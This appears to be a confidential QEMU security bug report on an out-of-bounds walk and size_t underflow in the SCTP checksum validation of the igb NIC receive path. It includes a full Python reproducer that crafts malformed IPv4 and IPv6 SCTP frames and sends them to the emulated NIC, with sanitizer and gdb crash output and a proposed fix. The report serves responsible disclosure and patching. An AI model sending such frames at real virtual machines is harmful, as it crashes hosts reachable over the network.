Disclaimer: I enabled confidentiality because I think this is a valid security issue: An attacker could trigger the crash purely with network packets for virtualization use cases. The contents are largely assisted by LLM, but I have reviewed all the content already. ## Host environment - QEMU flavor: `qemu-system-x86_64` - QEMU version: `qemu.git` master @ `3e3ccab106` (v11.1.0-rc3) - Machine: `q35`, device `igb` (the reachable path; `e1000e` does not reach it) - Builds used: one configured with `--enable-sanitizers` (clang) and one plain default build (gcc, no sanitizers). Both crash; the reproducer needs no special configure options, `igb` is in the default `x86_64-softmmu` build. ## Description of problem `_net_rx_pkt_validate_sctp_sum()` (`hw/net/net_rx_pkt.c:542`) locates the L4 header by walking the packet's iovec array: ```c size_t off = pkt->l4hdr_off; size_t vec_len = pkt->vec_len; /* read ... */ for (vec = pkt->vec; vec->iov_len < off; vec++) { /* ... never a bound */ off -= vec->iov_len; vec_len--; } csum_off = off + 8; if (!iov_to_buf(vec, vec_len, csum_off, &original, sizeof(original))) { ``` The loop terminates only when an element satisfies `iov_len >= off`. `vec_len` is read and decremented but never used as a loop bound, so if `off` (i.e. `pkt->l4hdr_off`) exceeds the packet's total data length, no element satisfies the condition and the walk runs past `pkt->vec[pkt->vec_len - 1]`, dereferencing `vec->iov_len` beyond the end of the allocation made by `net_rx_pkt_iovec_realloc()` (`net_rx_pkt.c:81`). There are two independent consequences, and the second is the serious one: 1. The condition test itself reads out of bounds — this is the ASan report below. 2. Once the walk has stepped past the end, it keeps stepping as long as the heap bytes it interprets as `iov_len` are smaller than the residual `off`. Each step also decrements `vec_len`, which is a `size_t` that has already reached 0, so it **underflows**. The resulting `(vec, vec_len)` pair — a pointer into unrelated heap and a count near `SIZE_MAX` — is then handed to `iov_to_buf()` (line 559), `iov_from_buf()` (lines 563 and 572) and `iov_crc32c()` (line 570). Note that `iov_from_buf()` **writes**. `l4hdr_off` can exceed the frame length because `eth_get_protocols()` (`net/eth.c`) computes it from header fields without a length gate on the SCTP branch, while the TCP and UDP branches go through `_eth_copy_chunk()`, which validates against the actual data length: ```c case IP_PROTO_SCTP: l4hdr_info->proto = ETH_L4_HDR_PROTO_SCTP; break; ``` Two ways to produce an oversized `l4hdr_off`: - **IPv4.** `*l4hdr_off = *l3hdr_off + IP_HDR_GET_LEN(iphdr)` is not checked against the data length. `IHL = 15` in a 60-byte frame gives `l4hdr_off = 14 + 60 = 74`, i.e. 14 bytes past the end. - **IPv6.** `eth_parse_ipv6_hdr()` does `info->full_hdr_len += (ext_hdr.ip6r_len + 1) * IP6_EXT_GRANULARITY` *after* its only `input_size` check, and then leaves the loop as soon as the next header is not an extension header. A single hop-by-hop header with `ip6r_len = 255` and `ip6r_nxt = 132` therefore yields `l4hdr_off = 14 + 40 + 2048 = 2102` in a 62-byte frame — **2040 bytes past the end**, which is what turns a one-step over-read into an unbounded walk. Reachability: `igb_build_rx_metadata_common()` → `igb_verify_csum_in_sw()` (`hw/net/igb_core.c:1328`) calls `net_rx_pkt_validate_l4_csum()` with no protocol gate, and the `igb_rx_l4_cso_enabled()` bit it depends on (`RXCSUM.TUOFLD`) is set at power-on (`igb_core.c:4397`), so no unusual guest programming is required. `e1000e`'s equivalent (`e1000e_core.c:1080`) is gated on `ETH_L4_HDR_PROTO_TCP`/`UDP` and does not reach it. ## Steps to reproduce No firmware and no guest kernel are involved. Under `-accel qtest` the script does the firmware's job itself over legacy CF8/CFC config cycles — assign BAR0, enable memory decoding and bus mastering — then performs the ordinary driver bring-up (force link up, program the RX ring, enable the receiver) and hands one frame to the device's network backend. The `socket` netdev's wire format is a 4-byte big-endian length followed by the raw frame. ```python #!/usr/bin/env python3 """ Reproducer: heap-buffer-overflow READ in _net_rx_pkt_validate_sctp_sum() (hw/net/net_rx_pkt.c) reached through the igb RX path. The script brings an igb NIC up headlessly over qtest -- program BAR0, enable bus mastering, force the link up, set up the RX descriptor ring, enable the receiver -- and then hands one crafted Ethernet frame to the device's network backend (a "socket" netdev fed from a socketpair; its wire format is a 4-byte big-endian length followed by the raw frame). Two frame variants, both of which make eth_get_protocols() report an l4hdr_off larger than the whole frame while selecting ETH_L4_HDR_PROTO_SCTP: ipv4 (default) 60-byte frame, IPv4 IHL = 15 => l4hdr_off = 14 + 60 = 74 ipv6 62-byte frame, one hop-by-hop extension header claiming (255 + 1) * 8 bytes => l4hdr_off = 14 + 40 + 2048 = 2102 Usage: QEMU=./build/qemu-system-x86_64 ASAN_OPTIONS=detect_leaks=0 \ python3 igb-rx-sctp-oob.py [ipv4|ipv6] """ import os import socket import struct import subprocess import sys import threading import time QEMU = os.environ.get("QEMU", "./build/qemu-system-x86_64") # Guest-physical layout we impose by hand (no firmware runs under -accel qtest). BAR0 = 0xE0000000 # igb MMIO register block (128 KiB) RX_RING = 0x01000000 # RX descriptor ring RX_BUF = 0x01100000 # RX data buffer RING_LEN = 0x1000 # igb / e1000 register offsets. CTRL, STATUS, MDIC, RCTL = 0x00000, 0x00008, 0x00020, 0x00100 RXCSUM, RFCTL, RA = 0x05000, 0x05008, 0x05400 RDBAL, RDBAH, RDLEN = 0x0C000, 0x0C004, 0x0C008 SRRCTL, RDH, RDT, RXDCTL = 0x0C00C, 0x0C010, 0x0C018, 0x0C028 E1000_CTRL_RST = 0x04000000 E1000_CTRL_SLU = 0x00000040 E1000_STATUS_LU = 0x00000002 E1000_RCTL_EN = 0x00000002 E1000_RCTL_UPE = 0x00000008 E1000_RCTL_MPE = 0x00000010 E1000_RCTL_BAM = 0x00008000 E1000_RFCTL_EXTEN = 0x00008000 E1000_RXCSUM_IPOFLD = 0x00000100 E1000_RXCSUM_TUOFLD = 0x00000200 E1000_SRRCTL_DESCTYPE_ADV_ONEBUF = 0x02000000 E1000_RXDCTL_QUEUE_ENABLE = 0x02000000 E1000_RAH_AV = 0x80000000 E1000_RAH_POOL_1 = 0x00040000 E1000_MDIC_OP_WRITE = 0x04000000 MII_BMCR_ANRESTART = 0x0200 MII_BMCR_AUTOEN = 0x1000 MAC = b"\x52\x54\x00\x12\x34\x56" PCI_DEVFN = 0x10 # slot 0x02, function 0 class QTest(object): """Minimal qtest-over-stdio client.""" def __init__(self, proc): self.p = proc def cmd(self, line): self.p.stdin.write((line + "\n").encode()) self.p.stdin.flush() while True: raw = self.p.stdout.readline() if not raw: raise EOFError("QEMU closed the qtest channel") resp = raw.decode("utf-8", "replace").strip() if resp.startswith(("OK", "FAIL", "ERR")): return resp # PCI configuration space through the legacy 0xcf8/0xcfc window. def cfg_read(self, devfn, off): self.cmd("outl 0xcf8 0x%x" % (0x80000000 | (devfn << 8) | (off & 0xFC))) return int(self.cmd("inl 0xcfc").split()[1], 16) def cfg_write(self, devfn, off, val): self.cmd("outl 0xcf8 0x%x" % (0x80000000 | (devfn << 8) | (off & 0xFC))) self.cmd("outl 0xcfc 0x%x" % (val & 0xFFFFFFFF)) def mac_write(self, reg, val): self.cmd("writel 0x%x 0x%x" % (BAR0 + reg, val & 0xFFFFFFFF)) def mac_read(self, reg): return int(self.cmd("readl 0x%x" % (BAR0 + reg)).split()[1], 16) def mem_write(self, addr, data): self.cmd("write 0x%x 0x%x 0x%s" % (addr, len(data), data.hex())) def mem_read(self, addr, size): resp = self.cmd("read 0x%x 0x%x" % (addr, size)) return bytes.fromhex(resp.split()[1][2:]) def frame_ipv4(): """60-byte Ethernet/IPv4/SCTP frame whose IHL lies about the header size.""" eth = MAC + b"\x52\x54\x00\x12\x34\x57" + b"\x08\x00" ip = struct.pack( ">BBHHHBBH4s4s", 0x40 | 15, # version 4, IHL 15 -> a 60-byte L3 header ... 0x00, # DSCP/ECN 46, # total length 0x0000, # id 0x0000, # flags/frag offset: must not be a fragment 64, # TTL 132, # protocol: SCTP 0x0000, # header checksum (irrelevant here) b"\xc0\x00\x02\x01", b"\xc0\x00\x02\x02", ) assert len(ip) == 20 # ... of which only 20 bytes actually exist frame = eth + ip frame += b"\x41" * (60 - len(frame)) assert len(frame) == 60 return frame def frame_ipv6(): """62-byte Ethernet/IPv6/SCTP frame with a lying hop-by-hop header length. eth_parse_ipv6_hdr() does `full_hdr_len += (ip6r_len + 1) * 8` *after* its only bounds check and then leaves the loop because the next header is not an extension header, so full_hdr_len ends up far past the frame. """ eth = MAC + b"\x52\x54\x00\x12\x34\x57" + b"\x86\xdd" ip6 = struct.pack( ">IHBB16s16s", 0x60000000, # version 6 8, # payload length 0, # next header: hop-by-hop options 64, # hop limit b"\x20\x01\x0d\xb8" + b"\x00" * 11 + b"\x01", b"\x20\x01\x0d\xb8" + b"\x00" * 11 + b"\x02", ) hbh = struct.pack(">BB", 132, 255) + b"\x00" * 6 # next = SCTP, len = 2048 frame = eth + ip6 + hbh assert len(frame) == 62 return frame def main(): variant = sys.argv[1] if len(sys.argv) > 1 else "ipv4" frame = frame_ipv6() if variant == "ipv6" else frame_ipv4() host_sock, guest_sock = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) argv = [ QEMU, "-display", "none", "-nodefaults", "-machine", "q35,accel=qtest", "-m", "512", "-netdev", "socket,fd=%d,id=hs0" % guest_sock.fileno(), "-device", "igb,netdev=hs0,bus=pcie.0,addr=0x2,mac=52:54:00:12:34:56", "-qtest", "stdio", ] print("+ " + " ".join(argv)) proc = subprocess.Popen( argv, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, pass_fds=(guest_sock.fileno(),), ) guest_sock.close() errbuf = [] def drain(): for line in proc.stderr: errbuf.append(line.decode("utf-8", "replace")) t = threading.Thread(target=drain) t.daemon = True t.start() qt = QTest(proc) crashed = False try: ident = qt.cfg_read(PCI_DEVFN, 0x00) if ident != 0x10C98086: raise RuntimeError("igb not found at 00:02.0 (got 0x%08x)" % ident) # BAR0 -> MMIO window; enable memory decoding + bus mastering. qt.cfg_write(PCI_DEVFN, 0x10, BAR0) qt.cfg_write(PCI_DEVFN, 0x04, 0x0006) # Reset, force link up, restart auto-negotiation, let the link timer run. qt.mac_write(CTRL, E1000_CTRL_RST | E1000_CTRL_SLU) qt.mac_write(MDIC, MII_BMCR_AUTOEN | MII_BMCR_ANRESTART | (1 << 21) | E1000_MDIC_OP_WRITE) qt.cmd("clock_step 900000000") status = qt.mac_read(STATUS) print("STATUS = 0x%08x (link up: %s)" % (status, bool(status & E1000_STATUS_LU))) # RX ring on queue 0. qt.mac_write(RCTL, 0) qt.mac_write(RDBAL, RX_RING & 0xFFFFFFFF) qt.mac_write(RDBAH, RX_RING >> 32) qt.mac_write(RDLEN, RING_LEN) qt.mac_write(RDH, 0) qt.mac_write(RDT, 0) qt.mac_write(SRRCTL, E1000_SRRCTL_DESCTYPE_ADV_ONEBUF) qt.mac_write(RXDCTL, E1000_RXDCTL_QUEUE_ENABLE | (1 << 16)) # Receive address filter. qt.mac_write(RA, struct.unpack("<I", MAC[0:4])[0]) qt.mac_write(RA + 4, E1000_RAH_AV | E1000_RAH_POOL_1 | struct.unpack("<H", MAC[4:6])[0]) # RX checksum offload must be on for the SCTP validation to run # (this is also the power-on default). qt.mac_write(RXCSUM, E1000_RXCSUM_IPOFLD | E1000_RXCSUM_TUOFLD) qt.mac_write(RFCTL, E1000_RFCTL_EXTEN) qt.mac_write(RCTL, E1000_RCTL_EN | E1000_RCTL_UPE | E1000_RCTL_MPE | E1000_RCTL_BAM) # One advanced one-buffer RX descriptor: { pkt_addr, hdr_addr }. qt.mem_write(RX_RING, struct.pack("<QQ", RX_BUF, 0)) qt.mac_write(RDT, 1) print("delivering %s frame (%d bytes): %s" % (variant, len(frame), frame.hex())) host_sock.sendall(struct.pack(">I", len(frame)) + frame) # Wait for the device to consume the descriptor (RDH advances). deadline = time.time() + 60 head = 0 while time.time() < deadline: qt.cmd("clock_step 100000") head = qt.mac_read(RDH) if head != 0: break time.sleep(0.05) wb = qt.mem_read(RX_RING, 16).hex() if head == 0: print("INCONCLUSIVE: the device never consumed the descriptor") else: print("no crash: RDH = %d, descriptor writeback = %s" % (head, wb)) except EOFError: crashed = True print("\n*** QEMU exited while processing the frame ***") finally: try: proc.terminate() except OSError: pass proc.wait() t.join(timeout=5) sys.stdout.write("".join(errbuf)) sys.stdout.flush() return 0 if crashed else 1 if __name__ == "__main__": sys.exit(main()) ``` ### Observed — sanitizer build, either variant Both `ipv4` and `ipv6` produce the same report (the absolute build-directory prefix on each source path is elided below; everything else is verbatim): ``` STATUS = 0x80080483 (link up: True) delivering ipv4 frame (60 bytes): 52540012345652540012345708004f00002e0000000040840000c0000201c00002024141414141414141414141414141414141414141414141414141 *** QEMU exited while processing the frame *** ================================================================= ==9303==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000c3668 at pc 0x5becc6673bb1 bp 0x7ffd7a4256d0 sp 0x7ffd7a4256c8 READ of size 8 at 0x5020000c3668 thread T0 #0 ... in _net_rx_pkt_validate_sctp_sum hw/net/net_rx_pkt.c:552:31 #1 ... in net_rx_pkt_validate_l4_csum hw/net/net_rx_pkt.c:601:23 #2 ... in igb_verify_csum_in_sw hw/net/igb_core.c:1328:10 #3 ... in igb_build_rx_metadata_common hw/net/igb_core.c:1382:9 #4 ... in igb_write_adv_rx_descr hw/net/igb_core.c:1505:5 #5 ... in igb_write_rx_descr hw/net/igb_core.c:1586:9 #6 ... in igb_write_packet_to_guest hw/net/igb_core.c:1941:9 #7 ... in igb_receive_internal hw/net/igb_core.c:2086:9 #8 ... in qemu_deliver_packet_iov net/net.c:868:15 #9 ... in qemu_net_queue_deliver net/queue.c:164:11 #10 ... in qemu_net_queue_send net/queue.c:210:11 #11 ... in qemu_send_packet_async_with_flags net/net.c:761:12 #12 ... in net_socket_rs_finalize net/socket.c:148:9 #13 ... in net_fill_rstate net/net.c:2169:17 #14 ... in net_socket_send net/socket.c:186:11 #15 ... in aio_dispatch_handler util/aio-posix.c:344:9 0x5020000c3668 is located 8 bytes after 16-byte region [0x5020000c3650,0x5020000c3660) allocated by thread T0 here: #0 ... in malloc #1 ... in g_malloc #2 ... in net_rx_pkt_iovec_realloc hw/net/net_rx_pkt.c:81:20 #3 ... in net_rx_pkt_pull_data hw/net/net_rx_pkt.c:103:9 #4 ... in net_rx_pkt_attach_iovec_ex hw/net/net_rx_pkt.c:154:5 #5 ... in igb_receive_internal hw/net/igb_core.c:2069:9 SUMMARY: AddressSanitizer: heap-buffer-overflow hw/net/net_rx_pkt.c:552:31 in _net_rx_pkt_validate_sctp_sum ``` The 16-byte region is `pkt->vec` for a single-fragment frame, and the faulting read is `pkt->vec[1].iov_len`. 3/3 runs for each variant. ### Observed — ordinary build, no sanitizers, `ipv6` variant ``` $ QEMU=./build/qemu-system-x86_64 python3 igb-rx-sctp-oob.py ipv6 STATUS = 0x80080483 (link up: True) delivering ipv6 frame (62 bytes): 52540012345652540012345786dd600000000008004020010db800000000000000000000000120010db800000000000000000000000284ff000000000000 *** QEMU exited while processing the frame *** ``` Under gdb (build-directory prefix on source paths elided; the argument lists of frames #7, #8 and #10 shortened to `(...)` for width — everything else verbatim): ``` Thread 1 "qemu-system-x86" received signal SIGSEGV, Segmentation fault. 0x000062d0b2b2eea3 in memcpy (__len=4, __src=0x6d766b3c6b6e712a, __dest=0x7ffcd9c1f404) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29 #0 0x000062d0b2b2eea3 in memcpy (__len=4, __src=0x6d766b3c6b6e712a, __dest=0x7ffcd9c1f404) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29 #1 iov_to_buf (bytes=4, buf=0x7ffcd9c1f404, offset=1982, iov_cnt=4294967293, iov=0x62d0d72ac840) at include/qemu/iov.h:60 #2 _net_rx_pkt_validate_sctp_sum (pkt=0xfffffffffffffffd) at hw/net/net_rx_pkt.c:559 #3 net_rx_pkt_validate_l4_csum (pkt=pkt@entry=0x62d0d7fda860, csum_valid=csum_valid@entry=0x7ffcd9c1f46f) at hw/net/net_rx_pkt.c:601 #4 0x000062d0b2b3d614 in igb_verify_csum_in_sw (l4hdr_proto=ETH_L4_HDR_PROTO_SCTP, status_flags=0x7ffcd9c1f598, pkt=0x62d0d7fda860, core=0x62d0d7bfb608) at hw/net/igb_core.c:1328 #5 igb_build_rx_metadata_common (vlan_tag=0x7ffcd9c1f59e, status_flags=0x7ffcd9c1f598, is_eop=true, pkt=0x62d0d7fda860, core=0x62d0d7bfb608) at hw/net/igb_core.c:1382 #6 igb_write_adv_rx_descr (core=core@entry=0x62d0d7bfb608, desc=desc@entry=0x7ffcd9c1f590, pkt=0x62d0d7fda860, rss_info=rss_info@entry=0x7ffcd9c1f580, etqf=<optimized out>, ts=ts@entry=false, length=66) at hw/net/igb_core.c:1505 #7 0x000062d0b2b3e6d3 in igb_write_rx_descr (...) at hw/net/igb_core.c:1586 #8 igb_write_packet_to_guest (...) at hw/net/igb_core.c:1941 #9 igb_receive_internal (core=0x62d0d7bfb608, iov=0x7ffcd9c1f720, iovcnt=1, has_vnet=<optimized out>, external_tx=<optimized out>) at hw/net/igb_core.c:2086 #10 0x000062d0b29e4b53 in qemu_deliver_packet_iov (...) at net/net.c:868 #11 0x000062d0b29e8a5a in qemu_net_queue_deliver (size=62, data=0x62d0d7290234 "RT", flags=0, sender=0x62d0d72900a0, queue=0x62d0d7ed18c0) at net/queue.c:164 ``` `iov_cnt=4294967293` is `vec_len` after underflow (`(size_t)-3`, truncated by `iov_to_buf()`'s `unsigned int` parameter), and `__src=0x6d766b3c6b6e712a` is an `iov_base` read out of unrelated heap. 5/5 runs. ## Impact Measured, not inferred: | variant | `l4hdr_off` vs frame | sanitizer build | ordinary build | |---|---|---|---| | `ipv4` | 74 vs 60 (14 bytes past) | heap-buffer-overflow READ, 3/3 | survives, 6/6 | | `ipv6` | 2102 vs 62 (2040 bytes past) | heap-buffer-overflow READ, 3/3 | **SIGSEGV, 5/5** | The difference is entirely the size of the residual `off`. With the IPv4 shape the residual is 14, which explains the survival: the 8 bytes at `pkt->vec[1].iov_len` are the following glibc chunk's size field, and glibc never leaves that below 0x20, so the loop stops after exactly one out-of-bounds step, `vec_len` is 0, `iov_to_buf()` returns 0 and the function returns `false`. The frame is then delivered normally with the checksum-error status bit set (observed descriptor writeback `10040000000000006302006040000000`, i.e. `status_error = 0x60000263`). That is the "harmless" case the previous revision of this report described, and it holds — but only for that shape. With the IPv6 shape the residual is 2040, which is larger than almost anything the allocator leaves lying around, so the walk keeps going, `vec_len` underflows, and the function proceeds with a bogus iovec array of ~`SIZE_MAX` elements. The observed outcome is a wild read and SIGSEGV — a remote denial of service against any VM whose `igb` NIC can be reached by a crafted frame. Beyond that, `iov_from_buf()` at lines 563 and 572 writes 4 bytes through the same bogus `(vec, vec_len)`; that write was not reached in the runs above because the read at line 559 faulted first, but it is on the same path with the same operands and should be assumed reachable under a different heap layout. Attacker position — what was checked: - The frame is delivered by the NIC's network backend, so any host or guest that can put a raw frame on the segment the backend is attached to (`tap`, bridge, `socket`, hub) is in position. No guest cooperation beyond ordinary driver bring-up is needed, and `RXCSUM.TUOFLD` is set at reset. - A guest cannot emit these frames through a *second* `igb`'s TX path: the TX side already has the length gate the RX side lacks. `net_tx_pkt_parse_headers()` (`hw/net/net_tx_pkt.c:161`) rejects both shapes — `bytes_read < full_ip6hdr_len` for the IPv6 one and `bytes_read < l3_hdr->iov_len - sizeof(struct ip_header)` for the IPv4 one — and `igb_process_tx_desc()` drops the packet when `net_tx_pkt_parse()` returns false. Verified: a benign 60-byte frame pushed through the same TX ring reaches the backend, the crafted IPv6 frame does not. - Whether some other NIC model's TX path passes such a frame through unmodified (giving a guest-to-guest path) was **not** tested. ## Suggested fix direction Use `vec_len` as the loop bound it was clearly meant to be, and fail closed: ```c for (vec = pkt->vec; vec_len > 0 && vec->iov_len < off; vec++, vec_len--) { off -= vec->iov_len; } if (vec_len == 0) { return false; } ``` Additionally (and preferably as well, since it removes the bogus `l4hdr_off` at the source), gate the SCTP branch of `eth_get_protocols()` on the real data length, the way the TCP/UDP branches already are via `_eth_copy_chunk()`. The IPv6 case also wants `eth_parse_ipv6_hdr()` to re-check `input_size` against `full_hdr_len` after the final increment, not only before it — `net_tx_pkt_parse_headers()` does exactly that check on the TX side and is a ready-made precedent.